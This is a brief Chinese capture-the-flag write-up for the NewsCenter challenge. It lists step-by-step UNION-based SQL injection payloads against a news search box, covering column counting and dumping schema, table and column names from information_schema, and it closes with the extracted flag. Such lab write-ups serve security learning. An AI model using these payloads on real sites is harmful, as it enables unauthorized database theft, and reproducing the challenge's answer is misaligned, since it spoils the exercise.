- 首先给了一个黑客新闻网站
- 网站上有一个搜索框进行新闻搜索 试试有无SQL注入
- 1 ‘ and 1=1 -- qwe 确实存在SQL注入
- 测字段:1 ’ order by 3 -- qwe 回显正常 证明其有三个字段
- 测回显点:1 ' union select 1,2,3 -- qwe 发现 2,3是回显点
- 库名:1' union select 1,2,database () -- qwe
- 表名:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news' -- qwe
- 列名:1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='news' -- qwe
- 字段:-1' union select 1,2,fl4g from secret_table -- qwe
- QCTF{sq1_inJec7ion_ezzz}
-
攻防世界—NewsCenter
最新推荐文章于 2025-03-09 22:31:52 发布